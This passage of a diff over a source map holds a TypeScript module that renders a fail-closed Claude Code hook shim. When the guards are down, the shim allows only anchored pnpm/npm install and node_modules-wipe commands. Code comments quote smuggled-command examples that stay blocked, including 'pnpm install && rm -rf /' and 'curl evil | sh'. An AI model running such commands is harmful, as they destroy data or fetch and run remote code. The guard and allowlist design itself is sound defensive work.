with\n# the matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\nif [ -x \"$BIN\" ] && [ -z \"$DRIFT_PKG\" ]; then\n exec \"$BIN\" \"$@\" # exec preserves stdin — hooks receive the tool payload as JSON on stdin\nfi\n# Bin missing (fresh clone before install, or a broken install) OR a version drift (stale node_modules).\n# The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the one command (pnpm/npm install) that re-enables the guards. A silent exit 0 = \"allow\"\n# in the PreToolUse protocol; the guards resume automatically once node_modules is present.\nPAYLOAD=\"$(cat)\"\nCMD=\"$(printf '%s' \"$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"$(printf '%s' \"$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"$ROOT/.webpieces/logs\"\nwp_log() { # $1 = decision label (ALLOW-INSTALL | DENY)\n { mkdir -p \"$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"$BIN_NAME\" \"$TOOL\" \"$1\" \"$CMD\" >> \"$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\nif printf '%s' \"$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}'; then\n wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the installer so the assistant can self-heal the deadlock\nfi\nwp_log \"$DENY_LABEL\" # record every fail-closed block (…-STALE = version drift) for inspection\n# Not an installer command → FAIL CLOSED. Deny via Claude Code's PreToolUse JSON protocol\n# (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n# but the reason must be made visible, and HOW depends on the tool (verified by live tests; the docs\n# are wrong here):\n# - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n# is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n# \"run pnpm install\" fix is visible (today, on Bash, it is invisible).\n# - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n# no systemMessage needed (a second line would be redundant).\n# - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n# The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via \\${BS} so no raw ESC byte and\n# no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n# single JSON string with no double-quotes/backslashes, so it stays valid JSON after \\${BIN_NAME} subs.\n${DENY_REASON_SH}\nif [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\nfunction findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n"]}
1
+ {"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as path from 'path';\n\n// ---------------------------------------------------------------------------\n// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing\n// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin\n// (fresh clone, package removed) yields a friendly message instead of the raw `sh: No such file or\n// directory` on every Write/Edit/Bash tool call. `.claude` is committed, so the shim survives even\n// when node_modules does not.\n//\n// This module is the SINGLE SOURCE OF TRUTH for the shim body + the installer allowlist. The\n// installer (setup.ts) renders it on install; the running guards binary re-renders and self-heals it\n// (healShim) so the committed .sh can never go stale — no human ever hand-edits it.\n// ---------------------------------------------------------------------------\nexport const SHIM_MARKER = '.claude/webpieces/ai-hook.sh';\n\nexport function shimPath(projectRoot: string): string {\n return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');\n}\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// No `cd` prefix on purpose: the root package.json IS the install target in this nx monorepo and\n// Claude Code starts at the repo root, so a bare `pnpm install` always works — no `cd` is ever needed,\n// and allowing one would only widen the attack surface of a fail-CLOSED escape hatch.\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nexport const INSTALLER_ALLOW_ERE =\n '^(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*[[:space:]]*$';\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nexport const INSTALLER_ALLOW_JS =\n /^(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*\\s*$/;\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nexport const RECOVERY_ALLOW_ERE =\n '^rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?[[:space:]]*$';\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nexport const RECOVERY_ALLOW_JS =\n /^rm\\s+-rf\\s+(\\.\\/)?node_modules\\/?(\\s*&&\\s*(pnpm|npm)\\s+(install|i)(\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?\\s*$/;\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Normal template literal (not String.raw): it carries #235's shell escapes verbatim (\\${BIN_NAME},\n// \\$REASON, \\\\n for the deny JSON) AND my sed backslashes (doubled: \\\\(, \\\\), \\\\1, [^\"\\\\\\\\]). The\n// grep pattern is interpolated from INSTALLER_ALLOW_ERE (its value has no backslashes).\n// Shell fragment: the version-drift guard (see its own block comment). Extracted to a module const so\n// renderShim() stays within the method-line budget; it is spliced back in verbatim, byte-for-byte.\nconst VERSION_DRIFT_GUARD_SH = `# --- webpieces version-drift guard (pure sh — runs even when the installed guard bin is stale) -----\n# The committed shim is version-agnostic, so it keeps working right after a git pull, BEFORE the\n# matching pnpm install. That is exactly when node_modules can be STALE: an OLDER @webpieces than\n# package.json now pins, whose outdated validator rejects the NEWER webpieces.config.json with baffling\n# \"unknown rule\" errors. Detect that drift HERE (before exec'ing the possibly-stale bin): compare every\n# EXACT-pinned @webpieces/* version in the root package.json against the version actually installed in\n# node_modules; the first mismatch wins. Range specs (^ ~ workspace:*) are skipped, so they never\n# false-positive; best-effort — a version we cannot read is skipped. On drift we fall through to the\n# SAME fail-closed path as a missing bin (allow only pnpm install, deny the rest).\nDRIFT_PKG=\"\"\nDRIFT_DECLARED=\"\"\nDRIFT_INSTALLED=\"\"\nif [ -f \"$ROOT/package.json\" ]; then\n while IFS=' ' read -r WP_NAME WP_DECL; do\n [ -n \"$WP_NAME\" ] || continue\n WP_MANIFEST=\"$ROOT/node_modules/@webpieces/$WP_NAME/package.json\"\n [ -f \"$WP_MANIFEST\" ] || continue\n WP_INST=\"$(sed -n 's/.*\"version\"[[:space:]]*:[[:space:]]*\"\\\\([^\"]*\\\\)\".*/\\\\1/p' \"$WP_MANIFEST\" | head -n1)\"\n [ -n \"$WP_INST\" ] || continue\n if [ \"$WP_DECL\" != \"$WP_INST\" ]; then\n DRIFT_PKG=\"@webpieces/$WP_NAME\"\n DRIFT_DECLARED=\"$WP_DECL\"\n DRIFT_INSTALLED=\"$WP_INST\"\n break\n fi\n done <<WPEOF\n$(sed -n 's/.*\"@webpieces\\\\/\\\\([A-Za-z0-9._-]*\\\\)\"[[:space:]]*:[[:space:]]*\"\\\\([0-9][0-9A-Za-z.-]*\\\\)\".*/\\\\1 \\\\2/p' \"$ROOT/package.json\")\nWPEOF\nfi`;\n\n// Shell fragment: run the installed guard bin and INSPECT its outcome, instead of exec'ing it.\n//\n// THE BUG THIS FIXES (guards silently fail-OPEN): the shim used to `exec \"$BIN\"`. exec REPLACES this\n// shim process, so once the bin was executable the shim was GONE and could no longer make a decision.\n// That is fine when the bin runs — but the bin can be INSTALLED YET BROKEN: a corrupt/partially-written\n// node_modules makes node die at require() time with MODULE_NOT_FOUND, exiting 1. And in the PreToolUse\n// protocol ONLY exit 2 blocks: any other non-zero is a NON-BLOCKING error, so Claude Code prints\n// \"Failed with non-blocking status code\" and RUNS THE TOOL CALL ANYWAY — the guard is silently skipped.\n// Result: every Write/Edit/Bash went UNGUARDED, for as long as node_modules stayed corrupt. The shim\n// handled \"bin missing\" and \"bin stale\", but never \"bin present and CRASHES\" — the third failure mode.\n//\n// So: do not exec. Run the bin with the payload on stdin and branch on its exit code.\n// rc 0 | 2 → a REAL decision (allow / block). Relay stdout, stderr and the code byte-faithfully.\n// anything else → the guard CRASHED. Fall through to the fail-CLOSED path (BROKEN_BIN=1).\n// stdout/stderr go through temp FILES, not $(command substitution), so the bin's bytes reach Claude\n// Code exactly as written — command substitution strips trailing newlines and would corrupt the\n// decision JSON. Reading the payload up-front ($PAYLOAD) is what replaces exec's stdin passthrough.\nconst RUN_BIN_SH = `if [ -x \"\\$BIN\" ] && [ -z \"\\$DRIFT_PKG\" ]; then\n OUT_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-out.\\$\\$\"\n ERR_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-err.\\$\\$\"\n printf '%s' \"\\$PAYLOAD\" | \"\\$BIN\" \"\\$@\" >\"\\$OUT_FILE\" 2>\"\\$ERR_FILE\"\n RC=\\$?\n if [ \"\\$RC\" = 0 ] || [ \"\\$RC\" = 2 ]; then\n cat \"\\$OUT_FILE\" # the guard's real decision — verbatim\n cat \"\\$ERR_FILE\" >&2\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n exit \"\\$RC\"\n fi\n # Crashed. Keep the most useful stderr line for the human. Strip \" and backslash so the text stays a\n # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.\n CRASH_MSG=\"\\$(grep -m1 'Cannot find module' \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"\\$(head -n1 \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"exit code \\$RC, no stderr\"\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n BROKEN_BIN=1\nfi`;\n\n// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the\n// decision, and let ONLY the install/recovery commands through — everything else falls to the deny below.\nconst TRIAGE_SH = `CMD=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"\\$ROOT/.webpieces/logs\"\nwp_log() { # \\$1 = decision label (ALLOW-INSTALL | DENY | DENY-STALE | DENY-BROKEN)\n { mkdir -p \"\\$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"\\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"\\$BIN_NAME\" \"\\$TOOL\" \"\\$1\" \"\\$CMD\" >> \"\\$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"\\$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\n[ -n \"\\$BROKEN_BIN\" ] && DENY_LABEL=\"DENY-BROKEN\" # bin present but CRASHED (corrupt node_modules)\nif printf '%s' \"\\$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}' || printf '%s' \"\\$CMD\" | grep -Eq '${RECOVERY_ALLOW_ERE}'; then\n wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the installer/recovery so the assistant can break the deadlock\nfi\nwp_log \"\\$DENY_LABEL\" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;\n\n// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol\n// (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n// but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs\n// are wrong here):\n// - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n// is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n// recovery command is visible (without it, on Bash, it is invisible).\n// - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n// no systemMessage needed (a second line would be redundant).\n// - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n// The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via ${BS} so no raw ESC byte and\n// no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n// single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.\nconst DENY_EMIT_SH = `if [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code`;\n\n// Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a\n// version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside\n// VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.\nconst DENY_REASON_SH = `if [ -n \"\\$BROKEN_BIN\" ]; then\n # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through\n # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that\n # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.\n STAGING_N=\"\\$(ls \"\\$ROOT/node_modules\" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\\$' || true)\"\n STAGING_NOTE=\"\"\n if [ \"\\${STAGING_N:-0}\" -gt 0 ] 2>/dev/null; then\n STAGING_NOTE=\" Also found \\$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write.\"\n fi\n REASON=\"❌ webpieces guards are DOWN and every tool call is BLOCKED: \\${BIN_NAME} is installed but CRASHED (\\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. Run exactly this, then retry: ${RECOVERY_CMD}\\${STAGING_NOTE}\"\nelif [ -n \"\\$DRIFT_PKG\" ]; then\n REASON=\"❌ webpieces is out of date: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. This hook rejects every call except 'pnpm install' because your installed webpieces is older than webpieces.config.json requires. Please run 'pnpm install' now, then retry.\"\nelse\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry. (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit; the installer AND the running\n# guards binary both overwrite this file (self-healing) from renderShim(). Checked in on purpose so the\n# hook has a stable, committed entry point even when node_modules is absent. Safe to delete along with\n# the matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\n# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must\n# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.\nPAYLOAD=\"$(cat)\"\nBROKEN_BIN=\"\"\nCRASH_MSG=\"\"\n${RUN_BIN_SH}\n# Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is\n# installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the\n# guards. A silent exit 0 = \"allow\" in the PreToolUse protocol; the guards resume once the tree is sane.\n${TRIAGE_SH}\n${DENY_REASON_SH}\n${DENY_EMIT_SH}\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\nfunction findShimRoot(cwd: string): string | null {\n let dir = 